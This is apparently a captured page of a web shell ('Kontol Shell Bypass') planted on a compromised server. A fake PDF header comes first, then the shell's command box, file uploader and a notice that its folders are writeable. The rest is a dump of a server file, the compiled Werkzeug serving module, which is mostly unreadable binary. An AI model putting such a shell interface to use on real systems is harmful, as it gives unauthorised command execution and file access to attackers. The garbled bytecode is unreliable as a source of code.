%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/werkzeug/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/werkzeug/__pycache__/serving.cpython-39.pyc
a

�_g5��@svUdZddlmZddlZddlZddlZddlZddlZddlZddl	Z	ddl
ZddlmZ
ddlmZddlmZddlmZddlmZdd	lmZdd
lmZddlmZdd
lmZddlmZddlmZz"ddlZeejej fZ!de"d<Wn2e#�y*Gdd�d�Z$e$�ZeejfZ!Yn0dZ%ej&dk�rbze'd�Wne#�y`dZ%Yn0e(ed�Z)e)�rzej*Z*nGdd�d�Z*z
ej+Z,Wne-�y�dZ,Yn0dZ.ej/ej0dej1e2ej/e2fej3dfZ4ej5�rddl6m7Z7ddl6m8Z8dd l9m:Z:dd!l;m<Z<Gd"d#�d#ej=�Z>Gd$d%�d%e�Z?d&d&d&d'�d(d)�Z@d`d*d+d,�d-d.�ZAdad&d*d*d/d0�d1d2�ZBdd3�d4d5�ZCdbd&d*d6dd7�d8d9�ZDdcd:d;d<�d=d>�ZEd&d?d@dA�dBdC�ZFd&d?d@dDdE�dFdG�ZGd@d&dH�dIdJ�ZHGdKdL�dLe�ZIGdMdN�dNejJeI�ZKGdOdP�dPe*eI�ZLddd&d?dQd;d?dRd;dSd6dLdT�
dUdV�ZMd;d3�dWdX�ZNded&d?dQd;d;d;dZdZd?d&d;d?dRd[d;dSd\d]�d^d_�ZOdS)fa�A WSGI and HTTP server for use **during development only**. This
server is convenient to use, but is not designed to be particularly
stable, secure, or efficient. Use a dedicate WSGI server and HTTP
server when deploying to production.

It provides features like interactive debugging and code reloading. Use
``run_simple`` to start the server. Put this in a ``run.py`` script:

.. code-block:: python

    from myapp import create_app
    from werkzeug import run_simple
�)�annotationsN)�datetime)�	timedelta)�timezone)�BaseHTTPRequestHandler)�
HTTPServer)�unquote)�urlsplit���_log)�_wsgi_encoding_dance)�InternalServerError)�
uri_to_iriztuple[type[Exception], ...]�connection_dropped_errorsc@seZdZddd�dd�ZdS)�	_SslDummy�str�t.Any��name�returncCstd��dS)NzUSSL is unavailable because this Python runtime was not compiled with SSL/TLS support.)�RuntimeError��selfr�r�=/vddos/python/lib/python3.9/site-packages/werkzeug/serving.py�__getattr__1s�z_SslDummy.__getattr__N)�__name__�
__module__�__qualname__rrrrrr0srT�ntZcoloramaF�forkc@seZdZdS)�ForkingMixInN)rrrrrrrr"Hsr"�zssl.SSLContext�adhoc)�WSGIApplication)�WSGIEnvironment)�RSAPrivateKeyWithSerialization)�Certificatec@sLeZdZdZddd�dd�Zdd�d	d
�Zdd�dd
�Zddd�dd�ZdS)�DechunkedInputz8An input stream that handles Transfer-Encoding 'chunked'zt.IO[bytes]�None)�rfilercCs||_d|_d|_dS)NFr)�_rfile�_done�_len)rr+rrr�__init__cszDechunkedInput.__init__�bool�rcCsdS)NTr�rrrr�readablehszDechunkedInput.readable�intc
Csfz"|j���d�}t|��d�}Wn.tyP}ztd�|�WYd}~n
d}~00|dkrbtd��|S)N�latin1�zInvalid chunk headerrz!Negative chunk length not allowed)r,�readline�decoder4�strip�
ValueError�OSError)r�liner.�errr�read_chunk_lenks zDechunkedInput.read_chunk_len�	bytearray)�bufrcCs�d}|js�|t|�kr�|jdkr*|��|_|jdkr:d|_|jdkr�tt|�|j�}||t|�kr�|j�t|�|�||d�<|jt|�|8_t|�}n.|j�|�||||�<|j|8_||7}|jdkr|j��}|dvrtd��q|S)NrT)�
�
�
z!Missing chunk terminating newline)	r-�lenr.r>�minr,�readr7r;)rr@rF�n�
terminatorrrr�readintous(







zDechunkedInput.readintoN)rrr�__doc__r/r3r>rIrrrrr)`s

r)cs eZdZUdZded<edd�dd��Zdd�d	d
�Zdd�dd
�Zdd��fdd�Z	d3dddd�dd�Z
ddd��fdd�Zdd�dd�Zdd�dd�Z
e�dd �ged!��ed"d#��D��Zd$eed%�<d4d'd'dd(�d)d*�Zdddd+�d,d-�Zdddd+�d.d/�Zddddd0�d1d2�Z�ZS)5�WSGIRequestHandlerz3A request handler that implements WSGI dispatching.�BaseWSGIServer�serverrr1cCs|jjS�N)rM�_server_versionr2rrr�server_version�sz!WSGIRequestHandler.server_versionr&cCs
t|j�}|jjdurdnd}|js,d|_nt|jt�rD|jdf|_|jsd|jrdd|j�|j��}n|j}t	|�}d||j
tj|jj
|jjd|j|j|jdt|�t|j�t|j�t|j�|��|��|jjdt|jjd	�|jd
�}|j��D]h\}}d|v�rq�|���dd�}|�d
d�}|dv�rPd|��}||v�rP||�d|��}|||<q�|�dd�����dk�r�d|d<t|d�|d<|j�r�|j�r�|j|d<z*|jj dd�}|du�r�t!�"|�|d<Wn4t#�y�|j�$dd�Ynt%�yYn0|S)N�http�https)�<local>rr�/)r
rF�r
)zwsgi.versionzwsgi.url_scheme�
wsgi.inputzwsgi.errorszwsgi.multithreadzwsgi.multiprocessz
wsgi.run_oncezwerkzeug.socket�SERVER_SOFTWARE�REQUEST_METHODZSCRIPT_NAMEZ	PATH_INFOZQUERY_STRINGZREQUEST_URIZRAW_URI�REMOTE_ADDRZREMOTE_PORTZSERVER_NAMEZSERVER_PORTZSERVER_PROTOCOL�_�-z
)ZCONTENT_TYPEZCONTENT_LENGTHZHTTP_�,ZHTTP_TRANSFER_ENCODING�chunkedTzwsgi.input_terminatedrVZ	HTTP_HOST)�binary_formZSSL_CLIENT_CERT�errorz&Cannot fetch SSL peer certificate info)&r	�pathrM�ssl_context�client_address�
isinstancer�scheme�netlocrr+�sys�stderr�multithread�multiprocess�
connectionrP�commandr
�query�address_string�port_integer�server_address�request_version�headers�items�upper�replace�getr9�lowerr)�getpeercert�ssl�DER_cert_to_PEM_certr:�log�AttributeError)r�request_url�
url_schemeZ	path_info�environ�key�valueZ	peer_certrrr�make_environ�sn

�






zWSGIRequestHandler.make_environr*cs��j�dd�����dkr&�j�d�����_�d�d�d�d�d�ddd��������fd	d
��d����fdd�	�d
dd�������fdd�}z|�jj	�Wn�t
y�}z��|��WYd}~n�d}~0t�y�}z��jj
r��du�r
��r
d�_z �du�rd�d�|t��Wnt�y>Yn0ddlm}||���}�j�dd|���WYd}~n
d}~00dS)NZExpectrUz100-continuesHTTP/1.1 100 Continue

F�bytesr*)�datarcs~�dusJd���dus Jd���du�r����z��dd�\}}Wntyb�d}}Yn0t|�}��||�t�}�D]"\}}��||�|�|���q�d|vs�ddks�d|kr�dks�n|d	vs�jd
kr�d���dd
���dd���	�t
|t��sJd��|�rp��rR�j�
tt|��dd�����j�
d��j�
|���rp�j�
d��j��dS)Nzwrite() before start_responser
rUzcontent-lengthrX�HEAD�d��>i0���HTTP/1.1TzTransfer-Encodingr]�
Connection�closezapplications must write bytes�rB)�splitr:r4Z
send_response�setZsend_header�addrv�protocol_versionZend_headersrcr��wfile�write�hexrD�encode�flush)r�Zcode_str�msg�code�header_keysrr�)�chunk_responser~�headers_sent�headers_setr�status_sent�
status_setrrr�sP

�
�����	 z*WSGIRequestHandler.run_wsgi.<locals>.writecsD|r,z�r|d�|d��Wd}q8d}0n�r8td��|�|��S)Nr
r�zHeaders already set)�with_traceback�AssertionError)�statusrq�exc_info)r�r�r�r�rr�start_response<sz3WSGIRequestHandler.run_wsgi.<locals>.start_responser%)�apprc
sJ|���}z�|D]}�|�q�s*�d��r:�j�d�Wt��}|��jtj�d}d}|jdd�r��j�	d�}|t
|�7}|d7}|r�|dks�|d	kr\q�q\|��t|d
�r�|��n�t��}|��jtj�d}d}|jdd��r(�j�	d�}|t
|�7}|d7}|�r(|dk�s(|d	krܐq(q�|��t|d
��rD|��0dS)N�s0

rg{�G�z�?)�timeouti���r
ld(	i�r�)
r�r��	selectors�DefaultSelector�registerrj�
EVENT_READ�selectr+rFrDr��hasattr)r�Zapplication_iterr��selector�
total_sizeZtotal_reads)r�r~r�rr�r�rr�executeJsD



�z,WSGIRequestHandler.run_wsgi.<locals>.executeTr
)�DebugTracebackr_zError on request:
)N)rqrurvr9r�r�r�r~rMr�r�connection_dropped�	Exception�passthrough_errorsZclose_connectionrZ
debug.tbtoolsr�Zrender_traceback_textrz)rr�r=r�r�r)	r�r~r�r�rr�r�r�r�r�run_wsgi�s< 9' 
zWSGIRequestHandler.run_wsgic
s�zt���WnzttjfyB}z|�|�WYd}~nPd}~0ty�}z0|jjdurrt	|�rr|�
d|�n�WYd}~n
d}~00dS)z/Handles a request ignoring dropped connections.NzSSL error occurred: %s)�super�handle�ConnectionError�socketr�r�r�rMra�is_ssl_error�	log_error)rr=��	__class__rrr��szWSGIRequestHandler.handleN�
BaseExceptionzWSGIEnvironment | None)r_r~rcCsdS)z`Called if the connection was closed by the client.  By default
        nothing happens.
        Nr)rr_r~rrrr��sz%WSGIRequestHandler.connection_droppedrrcs|�d�r|jStt�|�S)NZdo_)�
startswithr��getattrr�rr�rrr�s
zWSGIRequestHandler.__getattr__cCs*t|dd�r|jdS|js dS|jdS)Nr~rYrSr)r�r~rbr2rrrrm�s

z!WSGIRequestHandler.address_stringr4cCs
|jdS)Nr
)rbr2rrrrn�szWSGIRequestHandler.port_integercCsi|]}|d|d���qS)z\x�02xr)�.0�crrr�
<dictcomp>�r�zWSGIRequestHandler.<dictcomp>� ��z\\�\r[z	int | str)r��sizercCs�z&t|j�}|j�d|�d|j��}Wnty>|j}Yn0|�|j�}t|�}|ddkrlt	|d�}np|dkrvnf|dkr�t	|d�}nR|ddkr�t	|d	�}n:|d
kr�t	|d�}n&|ddkr�t	|dd
�}nt	|dd�}|�
dd|||�dS)N� r�1�boldZ200Z304�cyan�3�greenZ404�yellow�4�red�magenta�infoz
"%s" %s %s)rr`rkrpr{Zrequestline�	translate�_control_char_tabler�_ansi_stylerz)rr�r�r`r�rrr�log_request�s*
zWSGIRequestHandler.log_request)�format�argsrcGs|jd|g|�R�dS)Nr_�rz�rr�r�rrrr��szWSGIRequestHandler.log_errorcGs|jd|g|�R�dS)Nr�r�r�rrr�log_message�szWSGIRequestHandler.log_message��type�messager�rcGs0t||���d|���d|�d�g|�R�dS)Nz - - [z] �
)rrmZlog_date_time_string�rr�r�r�rrrrz�s��zWSGIRequestHandler.log)N)r[r[)rrrrJ�__annotations__�propertyrPr�r�r�r�rrmrnr�	maketrans�ranger��ordr�r�r�rz�
__classcell__rrr�rrK�s*
Q
�	�rKr)r��stylesrcGsBts|Sddddddd�}|D]}d||�d	|��}q|�d
�S)Nr
�r��!�#�$)r�r�r�r�r�r�z[�mz)�_log_add_style)r�r��codes�stylerrrr��s�	r�z
str | Nonez2tuple[Certificate, RSAPrivateKeyWithSerialization])�cnrc
CsFz@ddlm}ddlm}ddlm}ddlm}ddlm	}Wnt
y\td�d�Yn0|�}|jdd	|d
�}|dur�d}|�
|�|jd�|�|j|�g�}|�}|���|��|��|����|����t�tj���t�tj�td
d��j|�|j g�dd�j|�!|�"|�|�"d|���g�dd��#||�$�|�}	|	|fS)Nr)�x509)�default_backend)�hashes)�rsa)�NameOIDz<Using ad-hoc certificates requires the cryptography library.ii)Zpublic_exponentZkey_size�backend�*zDummy Certificateim)�daysF)�criticalz*.)%Zcryptographyr�Zcryptography.hazmat.backendsr��cryptography.hazmat.primitivesr�Z)cryptography.hazmat.primitives.asymmetricr�Zcryptography.x509.oidr��ImportError�	TypeErrorZgenerate_private_key�NameZ
NameAttributeZORGANIZATION_NAMEZCOMMON_NAMEZCertificateBuilderZsubject_nameZissuer_nameZ
public_keyZ
serial_numberZrandom_serial_numberZnot_valid_before�dt�nowr�utcZnot_valid_afterr�
add_extensionZExtendedKeyUsageZOID_SERVER_AUTHZSubjectAlternativeNameZDNSName�sign�SHA256)
r�r�r�r�r�r�r��pkey�subject�certrrr�generate_adhoc_ssl_pair�s\���������
���	�
��rztuple[str, str])�	base_path�hostr�rc	Cs�|dur|}t|d�\}}ddlm}|�d�}|�d�}t|d��$}|�|�|jj��Wd�n1sn0Yt|d��2}|�|j|jj|j	j
|��d��Wd�n1s�0Y||fS)	a�Creates an SSL key for development.  This should be used instead of
    the ``'adhoc'`` key which generates a new cert on each server start.
    It accepts a path for where it should store the key and cert and
    either a host or CN.  If a host is given it will use the CN
    ``*.host/CN=host``.

    For more information see :func:`run_simple`.

    .. versionadded:: 0.9

    :param base_path: the path to the certificate and key.  The extension
                      ``.crt`` is added for the certificate, ``.key`` is
                      added for the key.
    :param host: the name of the host.  This can be used as an alternative
                 for the `cn`.
    :param cn: the `CN` to use.
    N)r�r��
serializationz.crtz.key�wb��encodingr�Zencryption_algorithm)rr�r
�openr��public_bytes�Encoding�PEM�
private_bytes�
PrivateFormat�TraditionalOpenSSL�NoEncryption)	rrr�rrr
�	cert_file�	pkey_file�frrr�make_ssl_devcert's"

2��"rr1c
Cs�ddl}ddl}t�\}}ddlm}|��\}}|��\}}|�tj|�|�tj|�t�	||�
|jj��t�	||j
|jj|jj|��d��t�|�t�|�t||�}	|	S)z:Generates an adhoc SSL context for the development server.rNr	r)�atexit�tempfilerr�r
�mkstempr��os�remover�rrrrrrrr��load_ssl_context)
rrrrr
Zcert_handlerZpkey_handler�ctxrrr�generate_adhoc_ssl_contextSs*
��	


r!�
int | None)rr�protocolrcCs(|durtj}t�|�}|�||�|S)a�Loads SSL context from cert/private key files and optional protocol.
    Many parameters are directly taken from the API of
    :py:class:`ssl.SSLContext`.

    :param cert_file: Path of the certificate to use.
    :param pkey_file: Path of the private key to use. If not given, the key
                      will be obtained from the certificate file.
    :param protocol: A ``PROTOCOL`` constant from the :mod:`ssl` module.
        Defaults to :data:`ssl.PROTOCOL_TLS_SERVER`.
    N)rx�PROTOCOL_TLS_SERVER�
SSLContext�load_cert_chain)rrr#r rrrrqs


rzException | Noner0)r_rcCs(|durt�tt��d�}t|tj�S)z?Checks if the given error (or the current one) is an SSL error.Nr
)�t�castr�rfr�rcrx�SSLError)r_rrrr��sr�r4zsocket.AddressFamily)r�portrcCs.|�d�rtjSd|vr(ttd�r(tjStjS)zUReturn ``AF_INET4``, ``AF_INET6``, or ``AF_UNIX`` depending on
    the host and port.zunix://�:�AF_INET6)r�r��AF_UNIXr�r,�AF_INET)rr*rrr�select_address_family�s

r/�tuple[str, int] | str)rr*�familyrcCsb|tkrtj�|�d�d�Szt�|||tjtj�}Wntj	yT||fYS0|ddS)zVReturn a fully qualified socket address that can be passed to
    :func:`socket.bind`.�://r�r�)
�af_unixrr`�abspath�	partitionr��getaddrinfo�SOCK_STREAM�IPPROTO_TCP�gaierror)rr*r1�resrrr�get_sockaddr�s�r<)r1rc	Cs�|tjkrdnd}t�|tj��b}z|�|df�Wn2tyf|tjkrPdndYWd�S0|��dWd�S1s�0YdS)z�Get the IP address of an external interface. Used when binding to
    0.0.0.0 or ::1 to show a more useful URL.

    :meta private:
    zfd31:f903:5ab5:1::1z10.253.155.219i2�z::1�	127.0.0.1Nr)r�r,�
SOCK_DGRAM�connectr;�getsockname)r1r�srrr�get_interface_ip�s&rBc
s�eZdZdZdZdZeZdZd ddddd	d
ddd
��fdd�
Z	ddddd�dd�Z
d!ddd��fdd�
Zdddd��fdd�Zdd�dd�Z
�ZS)"rLzuA WSGI server that that handles one request at a time.

    Use :func:`make_server` to create a server instance.
    FTNrr4r%�type[WSGIRequestHandler] | Noner0�_TSSLContextArg | Noner"r*)rr*r��handlerr�ra�fdrc
s |durt}dt|�vr*|js$|jr*d|_||_||_||_||_t	||�|_
}t|t|�|�}	|t
kr�|dur�t�t|	�}	tj�|	�r�t�|	�t�j|	|dd�|du�rtz|��|��Wn�t�yT}
zv|��t|
jtjd�|
jtj k�r6td|�d�tjd�tj!dk�r6|d	k�r6td
tjd�t�"d�WYd}
~
n&d}
~
0t#�yp|���Yn0n&|��t$�%||t$j&�|_$|j$�'�|_(|t
k�r�|j(d|_|du�r�t)|t*��r�t+|�}n|dk�r�t,�}|j-|j$d
d�|_$||_.nd|_.ddl/}d|j0�1d���|_2dS)Nr�r�F)�bind_and_activate)�filezPort zp is in use by another program. Either identify and stop that program, or start the server with a different port.�darwini�zoOn macOS, try disabling the 'AirPlay Receiver' service from System Preferences -> General -> AirDrop & Handoff.r
r$T)�server_siderz	Werkzeug/Zwerkzeug)3rK�varsrhrir�rr*r�r�r/�address_familyr<r4r4r'r(rrr`�exists�unlinkr�r/�server_bind�server_activater;�server_close�print�strerrorrfrg�errnoZ
EADDRINUSE�platform�exitr�r��fromfdr8r@rorc�tuplerr!�wrap_socketra�importlib.metadata�metadata�versionrO)rrr*r�rEr�rarFrLror=�	importlibr�rrr/�sv
��
�

��




zBaseWSGIServer.__init__rr�cGst||g|�R�dSrNrr�rrrrz,szBaseWSGIServer.log��?�float)�
poll_intervalrcsBz2zt�j|d�Wnty&Yn0W|��n
|��0dS)N)r`)r��
serve_forever�KeyboardInterruptrQ)rr`r�rrra/s
zBaseWSGIServer.serve_foreverr0)�requestrbrcs|jr�t��||�SrN)r�r��handle_error)rrcrbr�rrrd7szBaseWSGIServer.handle_errorr1cCs�d}t|dd�}|g}|jtkr4|�d|j���n�|jdurBdnd}|j}|jdvr�|�d	|j�d
��|jdkr�d}ttj�}nd
}ttj	�}|�d|�d|�d|j
���d|vr�d|�d�}|�d|�d|�d|j
���tdd�|��dS)z<Show information about the address when starting the server.zvWARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.r�r�z * Running on NrQrR>�0.0.0.0z::z * Running on all addresses (�)rer=z[::1]r2r+�[�]r�r�)
r�rLr4�appendrrarBr�r.r,r*r�join)rZdev_warning�messagesrdZdisplay_hostname�	localhostrrr�log_startup?s(�



zBaseWSGIServer.log_startup)NFNN)r^)rrrrJrhri�LISTEN_QUEUE�request_queue_size�allow_reuse_addressr/rzrardrmr�rrr�rrL�s�"grLc@seZdZdZdZdZdS)�ThreadedWSGIServerz�A WSGI server that handles concurrent requests in separate
    threads.

    Use :func:`make_server` to create a server instance.
    TN)rrrrJrh�daemon_threadsrrrrrqbsrqcs<eZdZdZdZdddddd	d
ddd
d�	�fdd�
Z�ZS)�ForkingWSGIServerz�A WSGI server that handles concurrent requests in separate forked
    processes.

    Use :func:`make_server` to create a server instance.
    T�(NFrr4r%rCr0rDr"r*)	rr*r��	processesrEr�rarFrc			s.tstd��t��|||||||�||_dS)Nz'Your platform does not support forking.)�can_forkr:r�r/�max_children)	rrr*r�rurEr�rarFr�rrr/vszForkingWSGIServer.__init__)rtNFNN)rrrrJrir/r�rrr�rrsms�rsr%rCrD)
rr*r��threadedru�request_handlerr�rarFrc		
Csd|r|dkrtd��|r.t|||||||d�S|dkrNt||||||||d�St|||||||d�S)a6Create an appropriate WSGI server instance based on the value of
    ``threaded`` and ``processes``.

    This is called from :func:`run_simple`, but can be used separately
    to have access to the server object, such as to run it in a separate
    thread.

    See :func:`run_simple` for parameter docs.
    r
z4Cannot have a multi-thread and multi-process server.�rF)r:rqrsrL)	rr*r�rxruryr�rarFrrr�make_server�s(���r{cCstj�d�dkS)zqCheck if the server is running as a subprocess within the
    Werkzeug reloader.

    .. versionadded:: 0.10
    ZWERKZEUG_RUN_MAIN�true)rr~rurrrr�is_running_from_reloader�sr}�autozt.Iterable[str] | Nonez'dict[str, str | tuple[str, str]] | Noner*)�hostnamer*�application�use_reloader�use_debugger�
use_evalex�extra_files�exclude_patterns�reloader_interval�
reloader_typerxrury�static_filesr�rarcCst|t�std��|
r,ddlm}|||
�}|rTddlm}|||d�}|j�|�t	�s`d}ntt
jd�}t||||
|||||d�	}|j
�d	�t|���t
jd<t	�s�|��td
tdd��|�rdd
lm}z ||j||||	d�W|��n
|��0n|��dS)aStart a development server for a WSGI application. Various
    optional features can be enabled.

    .. warning::

        Do not use the development server when deploying to production.
        It is intended for use only during local development. It is not
        designed to be particularly efficient, stable, or secure.

    :param hostname: The host to bind to, for example ``'localhost'``.
        Can be a domain, IPv4 or IPv6 address, or file path starting
        with ``unix://`` for a Unix socket.
    :param port: The port to bind to, for example ``8080``. Using ``0``
        tells the OS to pick a random free port.
    :param application: The WSGI application to run.
    :param use_reloader: Use a reloader process to restart the server
        process when files are changed.
    :param use_debugger: Use Werkzeug's debugger, which will show
        formatted tracebacks on unhandled exceptions.
    :param use_evalex: Make the debugger interactive. A Python terminal
        can be opened for any frame in the traceback. Some protection is
        provided by requiring a PIN, but this should never be enabled
        on a publicly visible server.
    :param extra_files: The reloader will watch these files for changes
        in addition to Python modules. For example, watch a
        configuration file.
    :param exclude_patterns: The reloader will ignore changes to any
        files matching these :mod:`fnmatch` patterns. For example,
        ignore cache files.
    :param reloader_interval: How often the reloader tries to check for
        changes.
    :param reloader_type: The reloader to use. The ``'stat'`` reloader
        is built in, but may require significant CPU to watch files. The
        ``'watchdog'`` reloader is much more efficient but requires
        installing the ``watchdog`` package first.
    :param threaded: Handle concurrent requests using threads. Cannot be
        used with ``processes``.
    :param processes: Handle concurrent requests using up to this number
        of processes. Cannot be used with ``threaded``.
    :param request_handler: Use a different
        :class:`~BaseHTTPServer.BaseHTTPRequestHandler` subclass to
        handle requests.
    :param static_files: A dict mapping URL prefixes to directories to
        serve static files from using
        :class:`~werkzeug.middleware.SharedDataMiddleware`.
    :param passthrough_errors: Don't catch unhandled exceptions at the
        server level, let the server crash instead. If ``use_debugger``
        is enabled, the debugger will still catch such errors.
    :param ssl_context: Configure TLS to serve over HTTPS. Can be an
        :class:`ssl.SSLContext` object, a ``(cert_file, key_file)``
        tuple to create a typical context, or the string ``'adhoc'`` to
        generate a temporary self-signed certificate.

    .. versionchanged:: 2.1
        Instructions are shown for dealing with an "address already in
        use" error.

    .. versionchanged:: 2.1
        Running on ``0.0.0.0`` or ``::`` shows the loopback IP in
        addition to a real IP.

    .. versionchanged:: 2.1
        The command-line interface was removed.

    .. versionchanged:: 2.0
        Running on ``0.0.0.0`` or ``::`` shows a real IP address that
        was bound as well as a warning not to run the development server
        in production.

    .. versionchanged:: 2.0
        The ``exclude_patterns`` parameter was added.

    .. versionchanged:: 0.15
        Bind to a Unix socket by passing a ``hostname`` that starts with
        ``unix://``.

    .. versionchanged:: 0.10
        Improved the reloader and added support for changing the backend
        through the ``reloader_type`` parameter.

    .. versionchanged:: 0.9
        A command-line interface was added.

    .. versionchanged:: 0.8
        ``ssl_context`` can be a tuple of paths to the certificate and
        private key files.

    .. versionchanged:: 0.6
        The ``ssl_context`` parameter was added.

    .. versionchanged:: 0.5
       The ``static_files`` and ``passthrough_errors`` parameters were
       added.
    zport must be an integerr
)�SharedDataMiddleware)�DebuggedApplication)ZevalexNZWERKZEUG_SERVER_FDrzTr�zPress CTRL+C to quitr�)�run_with_reloader)r�r��intervalr�)rcr4r�Zmiddleware.shared_datar��debugr��
trusted_hostsrir}rr~r{r��set_inheritabler�filenormrr�Z	_reloaderr�rarQ)rr*r�r�r�r�r�r�r�r�rxruryr�r�rar�r�rFZsrvr�rrr�
run_simple�sPp

��r�)N)NN)NN)N)Fr
NFNN)
FFTNNr
r~Fr
NNFN)PrJ�
__future__rrT�iorr�r��socketserverrf�typingr'rr�rrZhttp.serverrr�urllib.parserr	�	_internalrr
�
exceptionsr�urlsrrxr�r��SSLEOFErrorrr�r�rr�r�
__import__r�rvr"r-r4r{rn�Optional�Union�Tupler�LiteralZ_TSSLContextArg�
TYPE_CHECKINGZ_typeshed.wsgir%r&Z-cryptography.hazmat.primitives.asymmetric.rsar'Zcryptography.x509r(�	RawIOBaser)rKr�rrr!rr�r/r<rBrL�ThreadingMixInrqrsr{r}r�rrrr�<module>s��



$�>G�2�,�
)�"-
�

Kontol Shell Bypass